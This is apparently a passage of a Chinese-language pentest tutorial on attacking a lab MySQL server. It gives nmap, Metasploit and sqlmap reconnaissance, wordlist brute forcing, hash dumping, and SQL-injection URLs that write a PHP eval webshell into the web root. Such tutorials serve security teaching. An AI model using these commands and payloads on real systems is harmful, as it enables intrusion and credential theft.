目录
2.当sql注入为盲注或者报错注入时,可以使用分隔符写入shell
3.当secure_file_priv为NULL写入shell
一 、Mysql信息收集
1.使用Nmap进行mysql的信息收集
nmap -sC -sV 192.168.0.107 -p3306
或者使用nmap的nse脚本对MySQL进行扫描
└─# ls -lah /usr/share/nmap/scripts/*mysql*
-rw-r--r-- 1 root root 6.5K Oct 12 2020 /usr/share/nmap/scripts/mysql-audit.nse
-rw-r--r-- 1 root root 3.0K Oct 12 2020 /usr/share/nmap/scripts/mysql-brute.nse
-rw-r--r-- 1 root root 2.9K Oct 12 2020 /usr/share/nmap/scripts/mysql-databases.nse
-rw-r--r-- 1 root root 3.2K Oct 12 2020 /usr/share/nmap/scripts/mysql-dump-hashes.nse
-rw-r--r-- 1 root root 2.0K Oct 12 2020 /usr/share/nmap/scripts/mysql-empty-password.nse
-rw-r--r-- 1 root root 3.4K Oct 12 2020 /usr/share/nmap/scripts/mysql-enum.nse
-rw-r--r-- 1 root root 3.4K Oct 12 2020 /usr/share/nmap/scripts/mysql-info.nse
-rw-r--r-- 1 root root 3.7K Oct 12 2020 /usr/share/nmap/scripts/mysql-query.nse
-rw-r--r-- 1 root root 2.8K Oct 12 2020 /usr/share/nmap/scripts/mysql-users.nse
-rw-r--r-- 1 root root 3.2K Oct 12 2020 /usr/share/nmap/scripts/mysql-variables.nse
-rw-r--r-- 1 root root 6.9K Oct 12 2020 /usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse
nmap --script=mysql-enum 192.168.0.107 -p3306 #枚举mysql用户名,结果不一定准确
2.通过msf探测mysql信息
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
use auxiliary/scanner/mysql/mysql_login
use auxiliary/scanner/mysql/mysql_writable_dirs
use auxiliary/scanner/mysql/mysql_file_enum
use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_hashdump
use auxiliary/scanner/mysql/mysql_version
下图以探测mysql版本为例
3.使用sqlmap进行sql注入收集mysql版本信息
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --batch --threads 10 -v 3
二、获取mysql密码
1.使用msf模块爆破
use auxiliary/scanner/mysql/mysql_login
set username root
set pass_file /usr/share/wordlists/rockyou.txt
set rhosts 192.168.0.107
run
2.nmap脚本进行爆破
nmap -p 3306 --script=mysql-brute.nse userdb=/usr/share/wordlists/user.txt passdb=/usr/share/wordlists/rockyou.txt 192.168.0.107
3.sqlmap的sql-shell查询哈希值
sqlmap -u "http://192.168.0.107/sqli/Less-1/?id=1" --batch --threads 100 --sql-shell -v 3
select host, user, password from mysql.user; #MySQL的用户名密码哈希值保存在mysql库的user表中
# MySQL <= 5.6 版本
mysql> select host, user, password from mysql.user;
# MySQL >= 5.7 版本
mysql > select host,user,authentication_string from mysql.user;
在cmd5网址查询
4.从网站泄露的源代码中查找配置文件获取用户名密码
三、通过Mysql向服务器写shell
条件:
- 存在sql注入漏洞
- 需要知道网站的web物理路径
- 当前用户有文件写入权限
- secure_file_priv 选项支持数据导出
show global variables like "secure_file_priv";
secure_file_priv参数用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录。
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
(1)需要修改mysql配置文件,my.ini最后一行添加secure_file_priv='C:/',重启mysql,再次查询
(2)查看网站的绝对路径
通过phpinfo或者sql报错注入
1.利用联合注入写入shell
http://192.168.0.107/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_post["pass"]);?>' into outfile "C:\\Phpsdudy\\PHPTutorial\\WWW\\1.php"--+
或者把php一句话十六进制编码mysql支持hex编码
http://192.168.0.107/sqli/Less-1/?id=-1' union select 1,2,0x3C3F70687020406576616C28245F706F73745B2270617373225D293B3F3E into outfile "C:\\Phpsdudy\\PHPTutorial\\WWW\\2.php"--+